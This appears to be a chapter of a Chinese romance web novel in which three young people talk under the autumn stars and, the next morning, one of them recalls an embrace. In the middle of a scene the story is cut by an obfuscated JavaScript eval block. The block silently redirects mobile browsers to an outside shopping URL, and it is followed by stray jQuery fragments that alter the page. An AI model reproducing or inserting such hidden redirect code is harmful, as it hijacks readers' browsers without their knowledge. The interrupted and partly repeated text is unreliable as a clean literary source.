“生死是自然而然的事。虽然它曾流浪，但是有了你的守护，就算在喵星球，记忆中也全是快乐吧。”肖怡缓缓地说。
“如果它能早点见到你就好了。”星光叹了口气，眼神黯然，却分不清说的究竟是豆豆还是自己。
他忽然伸出手，轻轻握住了她搁在膝上的手。
“感觉到了吗？”他问。
“嗯？”肖怡微微一怔，想要抽回，指尖却停住了。他的手心并不平滑，有种砂砾般的、清晰的粗糙感，和她想象中二十几岁年轻人的手截然不同。
“手掌心的粗糙。”齐星光笑了笑,“是不是和你想象中二十几岁的手有些不同。”齐星光笑了笑，语气轻松，拇指无意识地在她手背上轻轻摩挲，“网上总说‘手控’，还有人因为手不够‘完美’焦虑。可我觉得，手本就是用来干活、用来创造的，在我们那儿，粗糙才是常态。”
他的话朴实，却像一颗小石子，轻轻投进她沉寂的心湖。
没等她细想，他握着她的手，又收紧了些。掌心传来的温度厚实而稳定，带着一种不容置疑的暖意。他侧过脸看她，夜色里，他的眼睛很亮。“我大概能猜到你在担心什么，”他声音放得更缓，每个字却清晰有力，“怕你的过去、你的情绪，会成为我的负担，甚至感染到我。”
肖怡呼吸一滞。
“可我只是想告诉你，我的家乡，一年有两百天风沙蔽日。可哪怕只剩下一小时晴天，那里的人，也照样能种出玫瑰。”他看着她，目光坦荡而坚定：“所以，别因为我感到不安。你的世界再阴郁，在我这里都不算什么。”
肖怡只觉得心口一动，他再朴实不过的语言，穿透了她封闭着严严实实地心里。
“我不会因为和这个环境格格不入而难过，更不会因为这些苦而沮丧。冬天会来，春天就不会远。如果也不喜欢春天，我们现在就刚好在秋天。”他嘴角弯起一个轻松的弧度，将酒杯的酒一饮而尽，有些酸涩，喝进去，又有点暖暖的，他感觉脑袋里恍恍惚惚，
掌心的暖意源源不断地传来，顺着手臂蔓延，渐渐驱散了秋夜的凉。那暖意不炽烈，却绵长扎实，像他这个人一样。
齐星光认为自己听到最悲伤的故事，樊宇蓝却说那只是个开始。故事没有继续，像是一部恐怖片只播放了惊魂不定的前奏，便整个拔掉了电源。但他心里并不惧怕那些未知的阴影。
夜色渐深，风里带了更明显的寒意。三个人却谁也没提进屋，索性在屋外柔软的草地上躺了下来，以三个脑袋为支点，望向头顶璀璨的星空。
肖怡觉得冷，裹紧了带来的薄毯，像婴儿般微微蜷起身子。樊宇蓝大大咧咧摊成个“大”字，毫无形象。齐星光则伸展着两条长腿，自然交叠。
秋夜的天幕异常干净，星辰璀璨，清晰得能一一辨认出那些叫得上名字的星座。
樊宇蓝侧过脸，借着微光看向肖怡安静的侧影。她忽然有点明白了，那个关于猫的创作，和眼前这个男孩，对肖怡而言究竟意味着什么。可能是，他是有勇气收养猫的主人和只能将精神寄托在猫身上的人。
“小怡，你最喜欢什么季节？”齐星光的声音很轻，混在风声里。
“她喜欢秋天。”樊宇蓝抢答，声音带着点红酒润过的含糊。
“秋天是收获的季节。”齐星光顺着说。
“因为秋天足够的萧凉。”肖怡轻声道，“就可以认为低落的情绪是因为风，是因为落叶，是因为这样的夜，而不是因为自己。”
齐星光忍不住轻轻地摸了摸她的脑袋，像安抚一只脆弱又骄傲的小猫。那一刻，她确实像只猫，明明骄傲又脆弱，看似随时会抽身离开，却又从那份安静的接纳里，泄露出一丝渴望陪伴的讯号。
“你呢？”肖怡低声反问。
“如果可以选，”齐星光望着星空，想了想，“我喜欢冬天。
“冬天？”肖怡重复道，
“嗯。天气越冷，温暖反而显得更珍贵。外面冰天雪地，家就显得格外温暖；一个人行走寒冷刺骨，两个人靠在一起，那份暖意就会加倍。所以在冬天……反而会感受到更多的温暖。”
肖怡安静地听着，脑海里似乎浮现出他描述的画面：“那你……一定有个很温暖的家。总有人为你亮着灯，开着暖气，等你回去。这样的记忆，才会刻在骨子里。”
“是。”齐星光坦然地承认，“不管多晚，我爸妈总会等我和妹妹都到家，才回房休息。”
肖怡觉得星光身上有种很特别的东西。在他们这个年龄，许多人说话早已习惯了迂回、试探、或刻意回避。晚饭时她才剖白了自己糟糕的原生家庭，此刻他却能如此自然、毫不避讳地谈起自己家庭的温暖。这种近乎“没心没肺”的坦诚和钝感，反而奇异地让她觉得，在他眼中，自己那些“问题”并没什么大不了。她只是一个……正常人。
樊宇蓝嘴角露出笑意，在意的点却是，“喜欢冬天多好啊，干净又浪漫。可你刚才说‘如果可以’？难道喜欢什么季节，还会不被允许吗？
齐星光沉默了片刻，再开口时，声音里多了一丝现实的重量：“家乡的冬天……太冷了。屋里暖气不足，父母舍不得买好的棉衣，一到冬天，关节炎就犯。村里很多在外做力气活的人，手上脚上会长满冻疮，能干的活儿也少了，大家都眼巴巴盼着春暖花开，好出去多挣点钱。”他顿了顿，“在那里，说自己喜欢冬天……总觉得有点残忍。”
“那你……来这么远的地方上学，一定付出了比别人更多的努力。”肖怡轻声说。
“我就是那种典型的小镇做题家。”齐星光笑了笑，语气里没有自怜，只有释然，“考不上大学，出路大概就是放羊或者种地。家里给不了任何助力。不过，”他话锋一转，带了点小小的得意，“还好我比较擅长‘学习’这套规则。没等到高考，直接保送了。大学参加了几次辩论赛，运气不错都拿了第一。跟室友写的小程序，莫名其妙得了奖，又保了研。倒说不上多努力。”
“啧啧啧。”樊宇蓝和肖怡同时发出意味复杂的声音。这赤裸裸的“凡尔赛”，让人无力反驳。
“但要真说努力，”齐星光摸了摸鼻子，有点不好意思，“还真有一场考试，费了老劲儿。”
“哦？”两人同时转过头，好奇地看向他。
齐星光表情略显尴尬：“科目二……考了五次。”
“五次？！”
“噗——哈哈哈哈……”压抑了一晚的低沉气氛，瞬间被这突如其来的反差击碎。两人忍不住笑出声。
齐星光急了，坐起身认真解释：“我家以前根本没车，一点概念都没有。一握方向盘，脑子就自动切换成编程模式——方向盘得转多少度，油门该踩到百分之几……全用逻辑去套！”
没等他说完，新一轮的笑声又爆发出来。肖怡笑得眼角沁出泪花，边笑边说：“终于……终于发现你也有不擅长的事了。”
齐星光看着她们笑，表情愈发认真诚恳，虚心求教：“你们考的时候……一定觉得特别简单吧？”
空气瞬间安静下来，两人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643508|205375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你看我、我看你，下一秒，更大的笑声在星空下炸开，爽朗地回荡在院落里，惊起了远处树梢栖息的夜鸟。
——————————————————————————————
晨光透过素色的窗帘，将室内切割的明暗交错。
肖怡揉了揉眼睛，只记得后来樊宇蓝哼哼唧唧想睡觉，然后再次醒来就是天亮。
她是在一片沉甸甸的暖意和轻微的酸麻中恢复意识的，睁开眼原来是樊宇蓝半个身子压在自己身上，那足足有一百四十斤的身体的有一半的重量就在自己的两条腿上，她费力地推开樊宇蓝，起身活动僵硬的双腿，目光扫过客厅，才看到歪歪扭扭缩在沙发上的齐星光。
沙发对他来说显然太小了，他睡得有些委屈——身体不得不微微蜷缩，长腿无处安放，一只脚踝搭在沙发扶手上，另一条腿则曲着，几乎抵到胸口。整个人侧卧着，像一只在狭小贝壳里勉强安身的大龙虾。他身上盖着那条昨晚她裹过的米灰色毛毯。毯子不大，勉强遮住上半身，露出一截穿着深色袜子的脚踝。
晨光恰好落在他半边脸上，勾勒出清晰的下颌线和挺直的鼻梁。他双手无意识地交叠在胸前，是个略带防备又全然放松的姿势。嘴角微微上扬，似乎还残留着昨夜星空下那些笑声和坦诚的余温。
肖怡静静看了几秒，嘴角也不自觉弯起一个很浅的弧度。这毯子……昨天不是裹在自己身上的么？怎么跑他那儿去了？她摇摇头，不想细究。可思绪却不受控制地飘回昨夜。
星空。草地。微凉的风，和他掌心源源不断传来的暖意。记忆的画面一帧帧闪过，最后定格在某个瞬间——樊宇蓝不知哼着什么跑调的曲子走开了片刻，院子里只剩下他们两人。很近的距离，安静得能听见彼此的呼吸。
然后，他抬起手，动作很轻，近乎小心翼翼地将她脸颊旁一缕被风吹乱的发丝别到耳后。指尖若有若无地擦过她的耳廓，带来一阵微妙的战栗。月光不算明亮，却足够在他脸上投下深深浅浅的阴影，让他的眼神显得格外深邃专注。他看着她，看了很久，久到肖怡几乎要移开视线。接着，他手臂微微用力，将她整个人轻轻带进怀里。
她的额头抵上他温暖的颈窝，鼻尖萦绕着他身上干净的气息，混合着一点秋夜微凉的露水味道。他低下头，下颌轻轻蹭了蹭她的发顶，然后，一个极轻、极柔软的吻，落在她的头发上。
没有更多言语，也没有更逾矩的动作。他只是那样抱着她。他的胸膛宽阔而坚实，她都记得，抱得很紧，他的胸膛很暖，很大，好像整个人都可以藏在那里。
后来……后来是樊宇蓝嚷嚷着困了，走路歪歪扭扭。他们两人合力把她架回屋里，肖怡自己也累得几乎睁不开眼，恍惚间记得自己往床边一倒。再然后……似乎有人拿开了她身上半搭着的毯子，扶她躺好，还掖了掖被角。
肖怡赤着脚，踩在暖暖的木地板上，在他面前蹲了下来。
距离很近。距离近得能看清他凌乱黑发下的额头，浓黑英气的眉毛，健康的小麦色皮肤，高挺的鼻梁，还有下颌处一层青色细密的胡茬。晨光里，那些胡茬泛着毛茸茸的光晕，给清爽阳光的他，添了几分慵懒真实的男性气息。
一种莫名的冲动，让她屏住呼吸，缓缓伸出手。
指尖悬停在他脸颊上方，迟疑了一瞬，然后，极其轻柔地、试探性地，抚过那些新生的胡茬。
胡茬有些硬，他呼吸温热，
“扎吗？”
肖怡的手停在半空，耳朵一下子红了。